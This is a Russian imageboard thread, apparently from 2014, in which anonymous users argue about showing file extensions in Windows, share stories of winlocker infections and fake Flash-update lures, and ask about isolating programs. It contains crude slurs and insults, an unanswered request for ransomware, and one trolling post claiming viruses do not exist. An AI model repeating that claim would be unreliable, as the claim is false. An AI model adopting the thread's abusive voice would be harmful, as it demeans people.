14164772662430.png
>>1088386
А это что такое?
Аноним 20/11/14 Чтв 13:00:58 #521 №1088399 
>>1088392
Это НЕ отображение расширения, ибо некоторые каталоги открываются по-дефолту в виде плитки. Отображение расширения - это filename.exe к примеру, а не та хуита, что ты выставил, школьник, блять.
Аноним 20/11/14 Чтв 13:05:25 #522 №1088402 
>>1088399
>ибо некоторые каталоги открываются по-дефолту в виде плитки
Папка "Загрузки" по дефолту открывается в виде таблицы. Ты обосрался, пердоля.
Аноним 20/11/14 Чтв 13:09:09 #523 №1088406 
>>1088399
>Отображение расширения - это filename.exe
Я где-то написал, что это отображение расширения вида file.exe? Нет, я написал, что указан тип файла. У тебя дислексия?
Аноним 20/11/14 Чтв 13:12:21 #524 №1088409 
>>1088402
Я буду открывать только папку "Загрузки"?
>>1088406
Это хуйня, а не отображение типа, ибо, как я уже писал выше, зачастую каталог открывается не как таблица, лол. А вот если нормально выставить отображение расширения, то будет ок. но пидарасы из негрософта зачем-то по-дефолту отключили такое отображение.
Аноним 20/11/14 Чтв 13:15:22 #525 №1088411 
>>1088409
>Я буду открывать только папку "Загрузки"?
По дефолту все файлы из интернета скачиваются именно туда.
Аноним 20/11/14 Чтв 13:21:26 #526 №1088417 
>>1088411
А если мне на флешке принесли?
Аноним 20/11/14 Чтв 13:25:43 #527 №1088420 
>>1088417
У меня и флешка по дефолту открывается в виде таблице.
Аноним 20/11/14 Чтв 13:26:17 #528 №1088421 
>>1088420
таблицы
Аноним 20/11/14 Чтв 13:28:10 #529 №1088424 
>>1088421
Увы, далеко не у всех так. Меня отображение в виде плитки всегда бесило - посему сразу замечаю.
Аноним 20/11/14 Чтв 13:32:35 #530 №1088432 
>>1088424
Версия винды.
Аноним 20/11/14 Чтв 13:33:14 #531 №1088434 
>>1088432
Версия винды?
Аноним 20/11/14 Чтв 14:18:20 #532 №1088474 
>>1088424
Шындавс7, лицуха.
Аноним 20/11/14 Чтв 14:18:58 #533 №1088477 
>>1088474
У меня 8.1.
Аноним 20/11/14 Чтв 14:26:46 #534 №1088486 
Ну киньте хоть вирус, чтобы нахер всё зашифровал
Аноним 20/11/14 Чтв 14:28:56 #535 №1088488 
>>1088477
Я в дуалбут сначала хотел шындавс8 втыкать, но один раз ознакомился с интерфейсом, блеванул, и таки решил, что уж лучше сперма, ибо ХП совсем говно мамонта. За некоторое время до выхода шындавс8 ознакомился с интерфейсом блядского третьегнома. Теперь я знаю, откуда масдаевцы спиздили эту блевотную идею.
Аноним 20/11/14 Чтв 14:35:44 #536 №1088491 
>>1088486
Я уже просил, толи ни у кого нету, толи не хотят делиться годнотой.
Аноним 20/11/14 Чтв 14:42:28 #537 №1088498 
>>1088486
>>1088491
Мало кто знает но на само деле вирусов не существует, вся информация идет только от пердоликов(у которых зудит в одном месте от осознания 1%) и производителей антивирусов(которые хотят и дальше продавать свои пустышки). Виндовз уже давно очень хорошо защишена и на сегодняшний день нет вирусов которые способны сломать эту защиту.
Аноним 20/11/14 Чтв 14:46:18 #538 №1088501 
>>1088498
Вытекай давай, зелёненький ты наш.
Аноним 20/11/14 Чтв 14:57:49 #539 №1088511 
>>1088488
Я привык использовать хоткеи, поэтому плиточный интерфейс вообще не вижу.
Аноним 20/11/14 Чтв 16:11:24 #540 №1088605 
>>1088203
>Не был бы идиотом - стоял бы линапс
Не был бы идиотом - посещал бы проверенные ресурсы.
Аноним 20/11/14 Чтв 17:57:50 #541 №1088674 
Так никто и не ответил.
>$1
Что делает это?

Алсо, вот есть допустим Скайп, Токс, ТорБраузер. Имеет ли смысл это все запускать тоже от отдельного пользователя?
Аноним 20/11/14 Чтв 21:28:30 #542 №1088845 
>>1087632

> локальое зеркало реп

> записывать на диски

Совсем ебанулся что-ли?
Аноним 20/11/14 Чтв 21:31:45 #543 №1088848 
>>1087704
man debmirror, для rpm что-то такое тоже должно быть

//Как же я проиграл с зеркала реп на дисках.
Аноним 21/11/14 Птн 00:24:42 #544 №1088966 
14165186825330.png
>>1088486
есть разные "обновите ваш флешплейер.exe".
Аноним 21/11/14 Птн 03:42:39 #545 №1089037 
>>1088966
А суть пикрелейтеда в чём? Он действительно отключает лису, или просто после сообщения вбрасывает ссылку на исполняемый файл?
Аноним 21/11/14 Птн 09:30:57 #546 №1089081 
>>1088848
>>1087611
Аноним 21/11/14 Птн 10:37:20 #547 №1089103 
>>1088203
Я когда-то в 2009 или в 2010 точно так же словил винлогер. Без паники перезагрузился и быстро, пока он не успел запуститься снова, зашел в папочку "Автозапуск" и удалил оттуда ярлык. Больше ничего не делал, забил хуй.
Знал о том что левую хуйню запускать нельзя, но я подумал что это браузер предлагает дополнение поставить, лол.
С тех пор на подобные вещи смотрю более внимательно, потом рассказал об этом своей тян чтобы она тоже всякую хуйню не запускала, теще сказал что всякие баннеры "запустить проверку на вирусы" и "ваш браузер устарел" нажимать нельзя, там вирус - и полет нормальный.
Бэкапы хотелось бы делать, но нет денег на накопители, я нищеброд.
Аноним 22/11/14 Суб 13:59:59 #548 №1089869 
>>1085830
На прыщах такие крипторы ещё проще писать. Распространять можно через таких же идиотов как ОП. Кретины, ставящие всё подряд не глядя есть везде: http://www.linux.org.ru/news/gnome/4318473
Аноним 24/11/14 Пнд 12:34:12 #549 №1091862 
>>1087296
Это если вирус в виде отдельного файла. А если вирус попадает в систему благодаря дыре в другой программе, которая уже исполняется?
comments powered by Disqus

Отзывы и предложения